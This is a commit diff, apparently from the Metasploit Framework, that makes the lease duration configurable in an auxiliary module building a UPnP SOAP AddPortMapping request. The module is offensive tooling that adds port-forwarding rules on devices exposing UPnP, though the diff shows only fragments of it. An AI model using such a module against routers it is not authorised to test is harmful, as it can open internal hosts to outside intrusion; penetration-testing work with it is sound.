Expose lease duration as an option

bug/bundler_fix
Jon Hart 2015-08-28 15:22:19 -07:00
parent d57041136f
commit 13dd8222ec
No known key found for this signature in database
GPG Key ID: 2FA9F0A3AFA8E9D3
1 changed files with 4 additions and 4 deletions

View File

@ -22,14 +22,14 @@ class Metasploit3 < Msf::Auxiliary
OptString.new('INTERNAL_CLIENT', [true, 'New Internal Client']),
OptEnum.new('PROTOCOL', [true, 'Transport level protocol to map', 'TCP', %w(TCP UDP)]),
OptInt.new('INTERNAL_PORT', [true, 'New Internal Port']),
OptInt.new('EXTERNAL_PORT', [true, 'New External Port'])
OptInt.new('EXTERNAL_PORT', [true, 'New External Port']),
OptInt.new('LEASE_DURATION', [true, 'Lease time for mapping, in seconds', 3600])
],
self.class
)
end
def setup
@protocol = datastore['PROTOCOL']
end
def run
@ -38,12 +38,12 @@ class Metasploit3 < Msf::Auxiliary
content << "<SOAP-ENV:Body>"
content << "<m:AddPortMapping xmlns:m=\"urn:schemas-upnp-org:service:WANIPConnection:1\">"
content << "<NewPortMappingDescription>#{Rex::Text.rand_text_alpha(8)}</NewPortMappingDescription>"
content << "<NewLeaseDuration>3600</NewLeaseDuration>"
content << "<NewLeaseDuration>#{datastore['LEASE_DURATION']}</NewLeaseDuration>"
content << "<NewInternalClient>#{datastore['INTERNAL_CLIENT']}</NewInternalClient>"
content << "<NewEnabled>1</NewEnabled>"
content << "<NewExternalPort>#{datastore['EXTERNAL_PORT']}</NewExternalPort>"
content << "<NewRemoteHost></NewRemoteHost>"
content << "<NewProtocol>#{@protocol}</NewProtocol>"
content << "<NewProtocol>#{datastore['PROTOCOL']}</NewProtocol>"
content << "<NewInternalPort>#{datastore['INTERNAL_PORT']}</NewInternalPort>"
content << "</m:AddPortMapping>"
content << "</SOAP-ENV:Body>"